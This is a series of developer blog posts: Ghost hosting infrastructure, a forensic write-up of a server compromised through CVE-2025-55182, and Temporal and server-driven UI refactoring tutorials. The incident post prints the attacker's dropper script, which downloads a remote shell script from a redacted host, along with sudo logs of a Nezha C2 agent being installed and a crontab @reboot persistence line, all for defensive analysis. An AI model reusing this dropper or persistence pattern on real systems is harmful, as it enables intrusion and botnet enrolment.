When the instance starts up, it uses a scoped IAM user to fetch the secrets and write them to environment variables.

Unlike EC2 which has instance profiles. Lightsail does not. The credentials therefore persist in the instance and would be accessible for anyone with shell access.

This is less than ideal but the policy follows least privilege:

resource "aws_iam_policy" "ghost_instance_policy" {
  name = "ghost-instance-policy"
  description = "Allows Ghost instance to read SSM secrets and write S3 backups"

  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect = "Allow"
        Action = ["ssm:GetParameter", "ssm:GetParameters"]
        Resource = "arn:aws:ssm:${var.aws_region}:${data.aws_caller_identity.current.account_id}:parameter/ghost/*",
        Condition = {
          Bool = {
              "aws:SecureTransport" = "true"
          }
        }
      },
      {
        Effect = "Allow"
        Action = ["s3:PutObject"]
        Resource = "${module.s3_bucket_backup.s3_bucket_arn}/*"
      },
      # SSM KMS Key Access
      {
        Effect = "Allow"
        Action = [
          "kms:GenerateDataKey",
          "kms:Decrypt"
        ]
        Resource = data.aws_kms_key.ssm_key.arn
      },
      # Backup S3 KMS Key Access
      {
        Effect = "Allow"
        Action = [
          "kms:GenerateDataKey",
          "kms:Decrypt"
        ]
        Resource = data.aws_kms_key.backup_key.arn
      }
    ]
  })
}

Layer 5: Storage & Backups

Separate data disk: Persistent data (databases, ghost) live on an attached 8GB Lightsail disk mounted at /mnt/data. My Lightsail instance comes with a 60GB disk but it's ephemeral.

Media on R2: Ghost uploads images directly to Cloudflare R2. Media is served from a custom domain with Cloudflare's CDN in front. Fast load times for visitors and less load on my instance.

Daily backups: A cron job dumps MySQL and Postgres to S3 daily:

# MySQL
docker compose -f /opt/ghost/docker-compose.yml exec -T mysql mysqldump \
  -u ghost \
  -p"$MYSQL_PASSWORD" \
  --single-transaction \
  --quick \
  --no-tablespaces \
  ghost | gzip > "$BACKUP_DIR/ghost_$DATE.sql.gz"

# Postgres
docker compose -f /opt/ghost/docker-compose.yml exec -T postgres pg_dump \
  -U umami \
  umami | gzip > "$BACKUP_DIR/umami_$DATE.sql.gz"

# Upload
aws s3 cp "$BACKUP_DIR/ghost_$DATE.sql.gz" "s3://$S3_BUCKET/ghost/"
aws s3 cp "$BACKUP_DIR/umami_$DATE.sql.gz" "s3://$S3_BUCKET/umami/"

Cross-region replication: Adding this turned out to be way more complex than I'd expected. The backup bucket replicates to another region. In the very unlikely event that eu-west-2 burns down, I still have my data. Though I'd imagine I'd have bigger worries than my blog if half of London was on fire.

Layer 6: Monitoring

Image updates: Diun watches all containers and emails me when new versions are available. I'm not running :latest tags (except Ghost, which I build myself). I want to know when updates are released but choose when to deploy them.

Backup monitoring: Failed backups send email notifications.

New Relic: I haven't got round to implementing this again yet, it's next on the list.

Obviously this is seriously over-engineered for a personal blog. It's not enterprise either. Deployments mean spinning up a new instance and running a bash script to bootstrap everything - which takes the site down for a few minutes.

The bootstrap credential is less than ideal but is it worth spending more money and using EC2 to get around it? Not really.

Cloudflare is a single point of trust. If someone breaches that account the whole thing falls down. But does anyone else offer what they do for free?

Ghost itself is probably the weakest link in the chain. Node's dependency tree is vast - when the maintainer of event-stream handed the project to a stranger in 2018, that stranger quietly added code to steal Bitcoin wallets. It only took a few days from React2Shell being announced for my previous site to be compromised.

This has been a fun little project though. If (when) my site breaks again, I can spin up a brand new one with two commands in the terminal.

I've published the Terraform on GitHub. I've only recently started using Cloudflare & I've not been using Terraform all that long, so I'd genuinely appreciate feedback - if you spot something stupid or have suggestions, please open an issue or PR.

I traced a CPU spike to a massive botnet dashboard (CVE-2025-55182)

Paul Clegg — Sun, 07 Dec 2025 14:16:36 +0000

I was lazy when I set up my personal blog.

It was running on Digital Ocean - via one of their pre-configured application containers. I was running Ghost - a popular blogging platform.

I manually added Varnish for full page caching and installed Umami. I wanted some analytics just to have an idea of how many people were reading and engaging with my content. I despise all the tracking on the internet, I run AdGuard Home on my own network. Umami was a way to get some analytics, without being invasive.

I totally missed this alert from New Relic — the one that mattered. I'd been ignoring alerts for months because every time I logged into the Ghost admin panel, I'd get this:

Alert fatigue is real. Fix the noise, or you'll miss the signal. That's one of my lessons from all this.

I didn't notice anything was wrong until I tried to log into Umami. Instead of the usual log in page, I got a 502.

I checked the DigitalOcean control panel and saw two small I/O spikes that lined up with brief CPU increases. After that, there was a major I/O spike that pushed CPU usage to 100%, and it never came back down.

I had seen the recent news around CVE-2025-55182. A critical vulnerability in the React Server Components (RSC) protocol. The issue is rated CVSS 10.0 and can allow remote code execution when processing attacker-controlled requests in unpatched environments. But honestly I'd been too busy to check if my site might be at risk.

Umami was affected and it's how my site got compromised. Umami did release a patch 2 days ago, even if I had updated, it probably wouldn't have been soon enough.

I SSH'ed into the server after rebooting it and started having a nosy around.

This definitely isn't something I installed..

root@ghost-web-instance:/opt/nezha/agent# cat config.yml
client_secret: <redacted>
debug: <redacted>
disable_auto_update: <redacted>
disable_command_execute: false
disable_force_update: <redacted>
disable_nat: <redacted>
disable_send_query: <redacted>
gpu: <redacted>
insecure_tls: <redacted>
ip_report_period: <redacted>
report_delay: <redacted>
self_update_period: <redacted>
server: <redacted>
skip_connection_count: <redacted>
skip_procs_count: <redacted>
temperature: <redacted>
tls: <redacted>
use_gitee_to_upgrade: <redacted>
use_ipv6_country_code: <redacted>
uuid: <redacted>

Nezha is an open-source, lightweight, and easy-to-use server monitoring and operation tool.

This flag meant remote shell access was enabled.

disable_command_execute: false

So the attackers had root access to my droplet.

The Nezha agent had been added to systemd, so it would restart/survive a reboot.

root@ghost-web-instance:/opt/nezha/agent# ls -la /etc/systemd/system/*nezha*
-rw-r--r-- 1 root root 371 <redacted> /etc/systemd/system/nezha-agent.service

I checked to see what files had been modified within the last 7 days.

root@ghost-web-instance:/opt/nezha/agent# find /opt /tmp /var/tmp /dev/shm -mtime -7 -type f 2>/dev/null
/opt/nezha/agent/nezha-agent
/opt/nezha/agent/config.yml
/var/tmp/dl.js

The Javascript file was a likely candidate for the initial dropper script.

require("https").get("<redacted>", r => r.pipe(require("fs").createWriteStream("<redacted>.sh")).on("close", () => {
    console.log("done");
    process.exit(0);
})).on("error", e => {
    console.log("error:" + e.message);
    process.exit(1);
})

The shell script no longer existed on the machine, it must have been cleaned up afterwards.

dl.js was owned by ghost-mgr

The attack managed to gain privilege escalation because of the Digital Ocean droplet settings.

root@ghost-web-instance:/opt/nezha/agent# sudo -l -U ghost-mgr
Matching Defaults entries for ghost-mgr on ghost-web-instance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ghost-mgr may run the following commands on ghost-web-instance:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

any code running as ghost-mgr can become root without a password.

systemd journal had some interesting traces (timestamps redacted):

<redacted> ghost-web-instance su[955454]: pam_unix(su-l:auth): authentication failure; logname= uid=1000 euid=0 tty= ruser=ghost-mgr rhost=  user=root
<redacted> ghost-web-instance crontab[955460]: (ghost-mgr) LIST (ghost-mgr)
<redacted> ghost-web-instance crontab[955462]: (ghost-mgr) LIST (ghost-mgr)
<redacted> ghost-web-instance crontab[955463]: (ghost-mgr) REPLACE (ghost-mgr)

<redacted> ghost-web-instance sudo[963827]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/mkdir -p /opt/nezha/agent
...
<redacted> ghost-web-instance sudo[963827]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/mkdir -p /opt/nezha/agent
<redacted> ghost-web-instance sudo[963827]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963827]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963830]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/unzip -qo /tmp/nezha-agent_linux_amd64.zip -d /opt/nezha/agent
<redacted> ghost-web-instance sudo[963830]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963830]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963833]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/rm -rf /tmp/nezha-agent_linux_amd64.zip
<redacted> ghost-web-instance sudo[963833]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963833]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963836]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml uninstall
<redacted> ghost-web-instance sudo[963836]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963836]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance sudo[963845]: ghost-mgr : PWD=/home/ghost-mgr/umami ; USER=root ; COMMAND=/usr/bin/env NZ_UUID=<redacted> NZ_SERVER=<redacted> NZ_CLIENT_SECRET=<redacted> /opt/nezha/agent/nezha-agent service -c /opt/nezha/agent/config.yml install
<redacted> ghost-web-instance sudo[963845]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000)
<redacted> ghost-web-instance sudo[963845]: pam_unix(sudo:session): session closed for user root
<redacted> ghost-web-instance systemd[1]: Started 哪吒监控 Agent.

The attackers had replaced crontab

So that was the next place to check.

root@ghost-web-instance:/home/ghost-mgr/umami# crontab -l -u ghost-mgr
@reboot nohup /home/ghost-mgr/<redacted> > /dev/null 2>&1 &

I generated a SHA-256 hash of the file and checked it against VirusTotal.

Virustotal has it classified as trojan.sliver/silver

It's an open-source cross platform "command and control" (C2) framework. Originally built for red-team / penetration testing.

It supports many operating systems (Windows, Linux, macOS) and allows attackers to create “implant” payloads (called "slivers") that connect back to a C2 server

If installed as malware, Sliver can:

Create a backdoor on the target system
Execute arbitrary commands, upload/download files
Perform privilege escalation or process token manipulation (on Windows)
Maintain stealthy, encrypted communication with C2 servers, evade detection by blending in with legitimate traffic
Support different payload delivery mechanisms (stagers, "slivers", in-memory execution) to avoid simple file-based detection.

I've redacted the domain in the logs above but I was curious - what was there? I fully expected the address to be locked down.

Turns out - it wasn't.

The dashboard contained a list of all the infected hosts (there's a lot of them!)

Each host had it's own page with resource graphs.

I’ve redacted a lot here, not to be dramatic, but because the original screenshots contained real infrastructure and details that could expose victims or tip off the operator.

I’ve already reported the infrastructure to Cloudflare and the relevant hosting provider. If further responses come back, I’ll update this post.

Summary & Key Takeaways

My DigitalOcean droplet running Ghost and Umami was compromised via CVE-2025-55182 (a critical RCE in React Server Components). Because I hadn't updated Umami, attackers gained entry, escalated privileges via a permissive sudo configuration, and installed a botnet node.

The Malware Stack:

Sliver: An open-source C2 framework used for the actual backdoor and remote control.
Nezha Monitoring: A lightweight agent used by the attackers to monitor the health (CPU/RAM) of their infected nodes via a centralized dashboard.

Lessons Learned:

Alert Fatigue is Dangerous: I ignored New Relic alerts for months. If you can't trust your alerts, fix them or turn them off, don't ignore them.
Audit Default Permissions: The ghost-mgr user had passwordless sudo access. This allowed a web-app vulnerability to instantly become a full root compromise.
Updates Matter: Self-hosting requires maintenance. The gap between a CVE release and active exploitation is shrinking every day.

Refactoring Legacy: Part 2 - Tell, Don't Ask. (Server Driven UI)

Paul Clegg — Thu, 27 Nov 2025 19:22:06 +0000

It will always break.

You could write flawless code. You could have 100% test coverage, multi-region failover, circuit breakers, retries, the works.

Something will still break.

Anyone who doubts this is making a dangerous assumption. Your system runs on top of other systems that you have no control over. DNS, cloud providers, third-party APIs, payment gateways. They all have their own failure modes or bad days.

The question isn't if something breaks. It's what happens when it does.

I've only recently discovered Temporal and I genuinely wish I’d found it sooner. Let me show you why.

When I first landed on the Temporal homepage, I didn't get it. Lots of "buzz word bingo": durable execution platform, invincible apps, task queues, workflows, activities. They’re technically accurate but they don’t answer the only question that actually matters

What can you do with it?

Here's a real world use case, using the same case study from Part 1:

A customer purchases a vehicle insurance policy on an external website. A JSON payload is then POST'ed to an existing legacy endpoint, which:

creates or updates a Customer record
creates or updates a Vehicle record
creates a Policy record
creates financial records
generates documentation
sends the documentation via email
creates an invoice in external financial software

With the recent AWS DynamoDB outage - this caused a bit of a headache. The legacy codebase tries to do all of the above at once, there's no idempotency, no retries. The AWS outage took out the Xero API for a few hours - thankfully the API call to Xero is last on the list, everything worked successfully. If it had been earlier on in the chain the required manual fix would have taken a lot longer.

In the past I might have tackled the above by using queues and sequential messages.

job → queue → job → queue → job → …

One task finishes, it dispatches the next. It works… until you need to answer questions like:

Where did it fail?
What already succeeded?
Can I retry from step 3 without redoing step 1?
What state was the system in at the moment of failure?

Queues don’t answer those questions.

Temporal

At its core, Temporal splits your system into two distinct concepts. Workflows and Activities.

Workflows

Workflows are the business process. They define what should happen and in what order. This code must be deterministic - if you ran it 100 times, it would produce the exact same path 100 times.

No randomness: You cannot use rand() or uniqid().
No side effects: You cannot touch the database or filesystem.
No external state: You cannot inject a database connection or a HTTP client.

Temporal doesn't store the state of your variables in a database. It stores the history of events. To restore your state after a crash or a long sleep, it replays your workflow. If the code does something different the second time around (like generating a different random ID) the replay breaks.

Activities

Activities are the side effects. This is where you interact with a database, make API calls, upload files. These are the steps that could fail or return different results each time they run.

By separating the State (Workflow) from the Side Effects (Activities), Temporal guarantees that a network failure in an API call doesn't crash the entire business process. The Workflow calls an Activity, the Activity does the work and reports back.

Below is a simplified version of the actual code. I’ve stripped away a lot of it - to focus purely on the relationship between the Workflow and the Activities.

The Workflow: Orchestrates the process. It captures the return values (like $policy and $documentId) and passes them into the next step.


declare(strict_types=1);

namespace App\Modules\Policy\Temporal\PolicyPurchase\Workflow;

// ... imports simplified for readability

#[WorkflowInterface]
#[AssignWorker(name: 'default')]
class PolicyPurchaseWorkflow implements PolicyPurchaseWorkflowInterface
{
    private PolicyPurchaseActivitiesInterface $activities;

    public function __construct()
    {
        // Define how we handle failures (e.g., Xero is down)
        $retry = new RetryOptions()
            ->withInitialInterval(DateInterval::createFromDateString('2 seconds'))
            ->withBackoffCoefficient(2.0)
            ->withMaximumAttempts(4);

        // Create the activity stub
        $this->activities = Workflow::newActivityStub(
            PolicyPurchaseActivitiesInterface::class,
            ActivityOptions::new()->withRetryOptions($retry)
        );
    }

    public function run(PolicyPurchaseCommand $policyPurchaseCommand): void
    {
        // Step 1: Issue the policy (Returns the Policy object)
        $policy = yield $this->activities->issuePolicyContract($policyPurchaseCommand);

        // Step 2: Generate Docs (Returns the Document ID)
        $documentId = yield $this->activities->generatePolicyDocuments($policy->id);

        // Step 3 & 4: Send communications (Using data from previous steps)
        yield $this->activities->emailCustomer($policy->id, $documentId);
        yield $this->activities->emailAccounts($policy->id, $documentId);

        // Step 5: Sync with Accounting
        yield $this->activities->updateXero($policy);
    }
}

The Activities: Handle the heavy lifting: talking to S3, generating PDFs, sending emails and communicating with Xero.

<?php

declare(strict_types=1);

namespace App\Modules\Policy\Temporal\PolicyPurchase\Activities;

// ... imports simplified for readability

#[ActivityInterface]
#[AssignWorker(name: 'default')]
final class PolicyPurchaseActivities implements PolicyPurchaseActivitiesInterface
{
    public function __construct(
        private EmailService $emailService,
        private IssuePolicyContract $issuePolicyContract,
        private PolicyService $policyService,
        private S3Service $s3Service
    ) {}

    public function issuePolicyContract(PolicyPurchaseCommand $cmd): Policy 
    {
        // Pure domain logic execution
        return $this->issuePolicyContract->execute($cmd);
    }

    public function generatePolicyDocuments(PolicyId $policyId): DocumentId
    {
        // Logic to generate PDF and upload to S3...
        return new DocumentId('...'); 
    }

    public function emailCustomer(PolicyId $policyId, DocumentId $documentId): void
    {
        // Re-hydrate the domain objects from the ID
        $policy = $this->policyService->findOrThrow($policyId);

        // Perform the side-effect (Download PDF)
        $pdfPath = $this->s3Service->downloadToTemp($documentId);

        $email = new CustomerPolicyDocumentationEmail(
            to: $policy->policyHolder()->email(),
            policy: $policy,
            attachments: [$pdfPath]
        );

        // Perform the side-effect (Send Email)
        $this->emailService->send($email);
    }

    // ... emailAccounts implementation ...

    public function updateXero(PolicyId $policyId): void
    {
        // API call to Xero...
    } 
}

You'll notice the yield keyword. In standard PHP, this is for Generators. In Temporal, this is a Checkpoint.

When the code hits yield, it saves the entire state of the workflow to the Temporal server. It then effectively "pauses" the code.

Unlike a typical queue worker, it doesn't consume CPU or memory while it waits. It could wait 100 milliseconds or 100 years. It doesn't care and neither should you.

This completely changes how we scale. You no longer scale based on the number of concurrent requests - you scale based on concurrent active work.

Uber uses this pattern to orchestrate over 12 billion workflow executions every month .

They run workflows for everything from driver onboarding to food delivery. A single food delivery workflow might stay 'open' for 45 minutes.

Prepare → Pickup → Deliver

The worker is only active for milliseconds at a time, only when the state changes.

If they tried to keep a standard queue worker open for the duration of every pizza delivery they’d bankrupt the company on cloud hosting bills.

Retries

Every legacy codebase has that one bit of functionality - it does too many things, it's inefficient, it's a blocker to upgrading other parts of the codebase. But no-one touches it because it's critical to the business and it mostly just works.

Temporal gives me the confidence to finally touch that code. Something will inevitably go wrong, but I can see exactly where and why it failed. The original input is still there. I can fix the bug and replay from the point of failure - with the same data, in the same context.

When a workflow needs to recover, it replays your code from the beginning. But it doesn't redo the work. It checks the history at each step. Already sent that email? Skip it, inject the recorded result, move on. Haven't called Xero yet? That's where we pick up.

Idempotency

Idempotency is a simple idea: running an operation twice (or a hundred times) should have the same effect as running it once.

Flipping a light switch "on" is idempotent. If you keep pressing the switch down? The light is already on, it will stay on and you'll look a bit daft.

In Temporal activities run at least once. Not exactly once. At least once.

That distinction matters. A network blip, a worker crash, any number of things you have no control over could cause Temporal to re-try an activity that actually completed.

This means your activities need to handle duplicates gracefully. If you're charging a credit card, check whether the payment already exists. If you're sending an email, decide whether a duplicate matters.

Idempotency keys make this easier. Most payment APIs: Stripe, Xero, PayPal - already support them. Pass a unique key with each request (your workflow ID for example), and the API won't process it twice. The retry becomes a no-op.

For your own code, the pattern is similar: derive a stable ID from the input and check it before doing any work. Already created this policy? Return the existing one. Already sent this notification? Skip it.

That covers reliability. But what about state?

The Price of Amnesia

HTTP is stateless. REST APIs are stateless. In a "Shared-Nothing" architecture (like PHP, Serverless functions or containerized services) the process handles a single request and then terminates.

In many cases, this is exactly what we want. It makes scaling easy. Just add more processes.

As soon as a workflow spans more than one request, “state” becomes something you must reconstruct over and over. You end up with several competing realities:

What the Database thinks happened.
What the API returned 500ms ago.
What the React frontend is currently showing the user.

Why does statelessness hurt here?

Because every request that hits your service is like waking your blackout drunk friend who fell asleep in the bath.

They open their eyes, confused, wonder why they chose half a pizza for a pillow and why they're holding a spatula. You have to explain to them what happened last night, how they ended up in the bathtub and how they're supposed to be taking their partner out for a meal in a few hours.

They curse under their breath, sit up, put on a single sock and then pass out again.

Shortly afterwards, you wake them back up and explain everything again. Just for them to put on the other sock and then pass out again_._

Your frontend code often wakes up with this same amnesia. It loads, fetches a user ID, and then has to ask: Where am I? Is this case valid? What screen should I show next? This forces your frontend to understand the entire business process.

This is the Ask model.

Tell, Don't Ask

The company I currently work for handle vehicle breakdown incidents. These are complex workflows that can take anywhere from hours to weeks to resolve. There are potentially many "real world" parties involved. Vehicle recovery operatives, mechanics, garages, long term car parks, hotels, replacement transport.

There are endless variances. Is the breakdown in the UK or Europe? What does the customer's policy cover? Is the vehicle a van or a motorcycle? Our current UI requires operators to memorize these variances to navigate the system. They need to know which page to visit, in what order, and which fields are mandatory for a specific policy type. It is a massive cognitive load.

A Proof of Concept

I started building a prototype where the backend dictates the interface. As it turns out, this pattern has a name: Server-Driven UI (SDUI).

The application exposes just three API endpoints:

Start an incident
Submit step data
Get incident state

The workflow manages four distinct steps (but it's trivial to add more):

Location lookup
Customer lookup
Vehicle lookup
Incident complete

The workflow is simple:

    /**
     * @return Generator<mixed, mixed, mixed, BreakdownIncident>
     */
    public function start(): Generator
    {
        $activity = Workflow::newActivityStub(
            BreakdownActivityInterface::class,
            ActivityOptions::new()
                ->withStartToCloseTimeout('10 seconds')
                ->withRetryOptions(RetryOptions::new()->withMaximumAttempts(10))
        );

        // --- STEP 1: Wait for Location Signal ---
        yield Workflow::await(fn(): bool => $this->locationInput instanceof LocationLookup);
        assert($this->locationInput instanceof LocationLookup);
        $this->locationDetails = yield $activity->lookupLocation($this->locationInput);

        // --- STEP 2: Wait for Customer Signal ---
        $this->currentStep = BreakdownWorkflowSteps::CUSTOMER_LOOKUP;
        yield Workflow::await(fn(): bool => $this->customerInput instanceof CustomerLookup);
        assert($this->customerInput instanceof CustomerLookup);
        $this->customerDetails = yield $activity->lookupCustomer($this->customerInput);

        // --- STEP 3: Wait for Vehicle Signal ---
        $this->currentStep = BreakdownWorkflowSteps::VEHICLE_LOOKUP;
        yield Workflow::await(fn(): bool => $this->vehicleInput instanceof VehicleLookup);
        assert($this->vehicleInput instanceof VehicleLookup);
        $this->vehicleDetails = yield $activity->lookupVehicle($this->vehicleInput);

        // --- COMPLETE ---
        $this->isComplete = true;
        $this->currentStep = BreakdownWorkflowSteps::COMPLETE;

        return new BreakdownIncident(
            caseId: Workflow::getInfo()->execution->getID(),
            status: BreakdownWorkflowSteps::COMPLETE->value,
            location: $this->locationDetails,
            customer: $this->customerDetails,
            vehicle: $this->vehicleDetails
        );
    }

The key magic here is Workflow::await. The workflow literally pauses execution at that line until the specific signal arrives.

Each step blocks until the expected input arrives. You can’t skip ahead. If you’re on step 2, step 1 has happened. Close the browser, restart the system, come back in ten years: the workflow is still waiting - in exactly the right place.

But a workflow that just waits isn't useful on its own. The UI needs to talk to it. We need two things: a way to pass data in (so the user can progress), and a way to query the current state (so the UI knows what to render).

Sending data (Signals)

A signal is effectively an inbox for the workflow. The UI sends structured data and the workflow picks up where it left off:

    #[SignalMethod]
    public function submitLocation(LocationLookup $data): void
    {
        $this->locationInput = $data;
    }

No polling, no session variables, no hidden state in the frontend.

You tell the workflow what happened - it moves itself forward.

Getting state (Queries)

Queries give you read-only access to the workflow’s live state.

This is how the UI knows which step to display.

    /**
     * @return array<string, mixed>
     */
    #[QueryMethod]
    public function getState(): array
    {
        return [
            'currentStep' => $this->currentStep->value,
            'isComplete' => $this->isComplete,
            'requiredSchema' => BreakdownStepMapper::map($this->currentStep),
        ];
    }

The API returns exactly what the user interface needs - no more, no less.

There’s no guesswork. The UI doesn’t decide what step it’s on.

The workflow tells it.

Generating the UI From the Backend

At this point the workflow knows what step the user is on.

We still need to tell the UI what to render.

My first attempt was straightforward: convert simple PHP Data Transfer Objects (DTOs) directly into JSON Schema for react-jsonschema-form.

This worked fine for basic text fields, but it fell apart as soon as I needed richer UI controls. A DTO can tell the frontend that a colour property exists. It can’t tell it that the field should be a dropdown with the options:

Blue
Red
Silver
White

A bit of searching led me to Liform. It’s not a mainstream library, so it probably needs thorough vetting before production use. But it does something clever:

Liform can turn any Symfony Form into a JSON Schema.

Which means:

The backend defines the form and its validation rules
The frontend renders whatever the backend tells it to
UI behaviour becomes declarative instead of hardcoded

Here’s an example. The output below is the JSON Schema for the Customer step, returned directly from my getState endpoint:

{
    "step": "customer_lookup",
    "schema": {
        "title": "customer_form",
        "type": "object",
        "properties": {
            "name": {
                "type": "string",
                "title": "name",
                "propertyOrder": 1
            },
            "dateOfBirth": {
                "type": "string",
                "format": "date",
                "title": "dateOfBirth",
                "propertyOrder": 2
            },
            "email": {
                "type": "string",
                "title": "email",
                "widget": "email",
                "propertyOrder": 3
            },
            "phoneNumber": {
                "type": "string",
                "title": "phoneNumber",
                "propertyOrder": 4
            }
        },
        "required": [
            "name",
            "dateOfBirth",
            "email",
            "phoneNumber"
        ]
    },
}

The JSON Schema above is generated from a Symfony Form.

/**
 * @extends AbstractType<CustomerForm>
 */
class CustomerForm extends AbstractType
{
    public function buildForm(FormBuilderInterface $builder, array $options): void
    {
        $builder
            ->add('name', TextType::class)
            ->add('dateOfBirth', DateType::class, [
                'widget' => 'single_text',
                'html5' => false,
            ])
            ->add('email', EmailType::class)
            ->add('phoneNumber', TelType::class);
    }

    public function configureOptions(OptionsResolver $resolver): void
    {
        $resolver->setDefaults([
            'csrf_protection' => false,
            'data_class' => CustomerLookup::class,
            'empty_data' => fn(FormInterface $form): CustomerLookup => new CustomerLookup(
                $form->get('name')->getData() ?? '',
                $form->get('dateOfBirth')->getData() ?? '',
                $form->get('email')->getData() ?? '',
                $form->get('phoneNumber')->getData() ?? '',
            ),
        ]);
    }
}

And in the React application, it looks like this:

Each step in the process has a Symfony FormType assigned to it. This is handled in a simple mapper class.

final readonly class BreakdownStepMapper
{
    /**
     * @return class-string<FormTypeInterface<mixed>>|null
     */
    public static function map(BreakdownWorkflowSteps $step): ?string
    {
        return match ($step) {
            BreakdownWorkflowSteps::LOCATION_LOOKUP => LocationForm::class,
            BreakdownWorkflowSteps::CUSTOMER_LOOKUP => CustomerForm::class,
            BreakdownWorkflowSteps::VEHICLE_LOOKUP => VehicleForm::class,
            BreakdownWorkflowSteps::COMPLETE => null,
        };
    }
}

Using Liform to convert the FormType into a JSON Schema is really simple.

final readonly class FormJsonSchemaGenerator
{
    public function __construct(private FormFactoryInterface $formFactory, private Liform $liform)
    {
    }

    /**
     * @param class-string<FormTypeInterface<mixed>> $class
     * @return array<string, mixed>
     */
    public function generateFor(string $class): array
    {
        $form = $this->formFactory->create($class);

        return $this->liform->transform($form);
    }
}

When you tie it all together - you can build the majority of a complex UI with just a handful of FormType's

As a result, the UI no longer needs to store state, track progress, duplicate business logic, or decide what screen comes next. It just renders whatever the backend tells it to render.

Once the behaviour and structure of the interface live on the server, replacing the UI stops being a rewrite and becomes a swap. React today, mobile app tomorrow, CLI next year.

The screenshot below is the completed breakdown incident I triggered during development. The inbuilt UI provides a wealth of information and the ability to reset the workflow to a particular step

when the workflow started and ended
every state transition
every activity call
every external signal sent from the UI
the final structured result

Every step of the journey is visible , reproducible , and inspectable. Geolocate the customer. Find their record. Find their vehicle. Each one logged, timestamped, replayable.

If a step fails, you don’t get a stack trace lost somewhere in the logs. You see exactly which step failed, why it failed and you can restart the workflow from that point. Not from the beginning. Not after manually reconstructing state. From the precise step that failed.

I’ve published the code for this as a proof of concept. This is not production-ready. The happy path works; error handling and edge cases are rough. It's to demonstrate the architecture, nothing more.

https://github.com/clegginabox/temporal-breakdown-handling

Two important caveats:

No Form Validation

Right now, the forms accept whatever you type. In a real system you’d apply validation rules on the backend (and optionally mirror them in the UI).

Chatty Frontend Polling

The frontend asks the backend for the workflow state every 2 seconds:

// frontend/src/App.jsx
pollIntervalRef.current = setInterval(pollState, 2000);

Fine for a proof-of-concept. But you might notice a brief window where nothing seems to happen:

Frontend: "State?"
Backend : "Location Step"
Frontend submits Location
Frontend: "State?"
Backend : "Location Step" ← Temporal hasn't processed the signal yet
Frontend: "State?"
Backend : "Customer Step"

In production, you’d replace this with something push-based:

Long Polling
WebSockets
Mercure (ideal if you’re already using Symfony / API Platform)

If you want to try it yourself, the repo includes a full docker-compose setup. Just run:

$ docker compose up -d --build

I'd love to hear if anyone has used this approach? Currently the full breakdown workflow is just this proof-of-concept and some ideas in my head.

Until next time 👋

Refactoring Legacy: Part 1 - DTO's & Value Objects

Paul Clegg — Tue, 25 Nov 2025 18:36:55 +0000

Ever opened a codebase where a single JSON payload could arrive in 17 different shapes depending on the phase of the moon?

Over the last few years my contracts have involved working with legacy code in one way or another. Outdated software, missing documentation, inconsistent data structures and the occasional big ball of mud.

I originally planned to write a single article summarising the tools, patterns and techniques I've found useful. The more I thought about it - the bigger the article got, the more it started to resemble some of the tangled software I've worked on. Rather than create one sprawling guide, I'm breaking this into smaller, practical articles. Which as it happens, is also a good approach to software.

The current (and probably growing) list includes:

Rector
Domain-Driven Design (DDD)
JSON Schema
Strangler Fig
Temporal
Docker (including the joy of compiling PHP 5.4 from source (in 2025) so it can run on an M-series Mac)
Terraform
Various AWS services

This first article focuses on DTOs and Value Objects. Two deceptively simple tools. Used together they can create predictable and self documenting boundaries.

But before getting into the patterns themselves, I want to outline a few foundational ideas: how I think about legacy, why I structure code the way I do and the principles that guide my approach when dealing not just with legacy, but software as a whole.

Understanding Legacy Code (aka Don't Be a Dick About It)

Every line of code tells a story. The deadline that couldn't move. The hotfix deployed at 3am. The developer who left – or never had the time to refactor.

Look back at your own code from six months ago. How about two years? Five? What would you say about it?

Legacy code can be frustrating. You'll have moments with your head in your hands, screaming "whyyyyy did they do it this way?". If you let that frustration define your approach, you'll make the job much harder than it needs to be.

Empathy is the key.

Instead of assuming all the previous developers were morons, assume they were thoughtful people who did the best they could with what they had. Then ask the better questions.

"What problem were they actually solving?"
"What constraints shaped this decision?"
"What can I learn before I start changing things?"

Sometimes your answers point to business processes that need improving. Sometimes technical decisions shaped by pressures that no longer exist. Sometimes they show you have skills or tools that weren't available at the time.

That's not evidence of incompetence, it's an opportunity to make changes, to learn, to share knowledge and lift the whole team.

Pragmatism Over Perfection

Design patterns are guidelines, not commandments etched into stone. They’re tools, not religion.

This isn't just about legacy code, it's foundational to all software engineering.

You could build the quickest, most secure, easiest-to-use ATM software ever. Perfect architecture, bulletproof security, zero bugs. But if the ATM has no buttons, it's completely useless.

Just because you can doesn't mean you should. Do you really need React and Next.js for a site that's nothing more than a few multi-page forms? Would some HTML and a bit of Javascript achieve the same result with a fraction of the complexity?

I don't believe in absolutes in software engineering. Just like patterns, they never fit neatly into the messy human complexity we're trying to capture in code. Use the things that work for you right now. You don't need the kitchen sink.

DTOs without a full DDD implementation? Pragmatic.

Value Objects without Event Sourcing? Pragmatic.

A Strangler Fig pattern that doesn't wrap the entire legacy system? Still pragmatic.

Skipping most of these patterns entirely for a simple CRUD app? Extremely pragmatic.

